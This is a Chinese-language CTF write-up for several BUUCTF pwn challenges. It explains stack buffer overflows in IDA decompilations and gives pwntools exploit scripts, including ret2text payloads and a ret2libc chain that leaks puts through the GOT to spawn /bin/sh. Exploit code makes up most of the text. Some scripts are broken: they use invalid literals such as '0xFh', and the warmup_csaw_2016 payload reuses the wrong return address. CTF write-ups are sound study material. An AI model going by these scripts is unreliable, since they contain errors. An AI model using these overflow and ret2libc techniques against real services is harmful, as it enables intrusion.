BUUCTF pwn

test_your_nc

丢进ida可以看到只有一个后门函数

使用nc 网址 端口连接反弹shell

或者使用pwntools连接

from pwn import *
p=remote('网址',端口)
p.interactive()

rip

一、载入ida

载入ida可以看到主要有两个函数，main()和fun()

使用f5产生类C代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]
  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}
int fun()
{
  return system("/bin/sh");
}

gets函数把输入放入缓存区，没有边界控制，可以造成缓冲区溢出。

所以本题就是利用栈溢出，构造足够长的串覆盖retn地址，使其跳转到fun函数，执行下方部分即可

000000000040118A                 lea     rdi, command    ; "/bin/sh"
0000000000401191                 call    _system

查看栈可以知道s距栈底为F,从f5的类C代码中也可以看到[rbp-Fh]即离栈底为F

所以F+一个寄存器（rbp)(64位一个寄存器就是8个字节）的覆盖后就是retn的地址

最终使用pwntools攻击脚本如下：

from pwn import *
con=remote("网址",端口)
payload='a'*0xFh+p64(0xdeadbeef)+p64(0x40118A)
con.sendline(payload)
con.interactive()

warmup_csaw_2016

一、载入ida

可以看到和上一题一样，还是一个主函数一个后门函数，参数覆盖retn即可

可以看到get对应的缓冲区为40h,后门函数关键地址400611，所以使用pwntools的攻击脚本如下：

from pwn import *
con=remote("网址",端口)
payload='a'*0x40h+p64(0xdeadbeef)+p64(0x40118A)
con.sendline(payload)
con.interactive()

pwn1_sctf_2016

丢进ida可以看到有两个关键函数vuln和get_flag,其中get_flag是预留的后门函数

.text:08048F13                 mov     dword ptr [esp], offset command ; "cat flag.txt"
.text:08048F1A                 call    _system

f5反汇编查看函数vuln,发现很多C++std::string类的函数，由于C++基础有限，查阅了一些资料后，结合猜测，可能的作用表示在图中。

可能反汇编的参数编号不同，跟进到replace函数看一下，就会把replace的参数调整过来。

所以从分析来看，这是用fgets输入到参数s中，s到栈底为3C即60，但是fgets只允许输入32，直接栈溢出办不到。再看之后的函数，总的功能就是把输入的I全部换成you。这样最大输入到96，可以溢出，最后使用pwntools的攻击脚本如下：

from pwn import *
con=remote("网址",端口)
payload='I'*20+p32(0xdeadbeef)+p32(0x08048F13)
con.sendline(payload)
con.interactive()

ciscn_2019_n_1

丢进ida反汇编可以看到func函数的逻辑如下：

可以看到逻辑是输入到v1,并让v2=11.28125即可，还是栈溢出逻辑，v1到栈底30h即48，v2到栈底4，至于11.28125在ida里对应部分可以看到整型对应的数字是41348000h，所以攻击脚本如下：

from pwn import *
con=remote("网址",端口)
payload='a'*44+p64(0x41348000)
con.sendline(payload)
con.interactive()

ciscn_2019_c_1

丢进ida，好像没有后门函数，搜索一下，确实没有。

可以看到主要起作用的函数是main()和encrypt(),流程为main()中进行选择，其中只有1，encrypt可以用。

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

可以看到其中有gets()存在栈溢出漏洞，又有puts函数可以利用got表泄露来查找libc的版本，进而从libc中查找system()和'/bin/sh'字符串使用。

可以看到有加密过程，但是测试发现x不大于48，所以不会影响到payload内容。

先构造payload如下

payload='a'*0x50+p64(0xdeadbeef)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr)

pop_rdi为通用gadget

pop rdi
ret

puts_got为got表puts项内容，即puts地址。puts_plt为plt表puts项内容，此处相当于调用puts().

最后返回encrypt函数进行第二次栈溢出以执行system('/bin/sh')

第二次payload

payload='a'*0x50+p64(0xdeadbeef)+p64(pop_rdi)+p64(str_bin_sh)+p64(system_addr)

最终的脚本如下

from pwn import *
from LibcSearcher import *
p=process('./ciscn_2019_c_1')
elf=ELF('ciscn_2019_c_1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x400c83
encrypt_addr=0x4009A0

payload='a'*0x50+p64(0xdeadbeef)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr)
p.sendlineafter("Input your choice!\n","1")
p.sendlineafter("Input your Plaintext to be encrypted\n",payload)
p.recvuntil('\n')
p.recvline()
puts_addr = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00'))

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
str_bin_sh=libc_base+libc.dump("str_bin_sh")

#ret_addr=0x4006b9如果没有栈对齐可以加ret
p.recvline()
payload='a'*0x50+p64(0xdeadbeef)+p64(pop_rdi)+p64(str_bin_sh)+p64(system_addr)
p.sendline(payload)
p.interactive()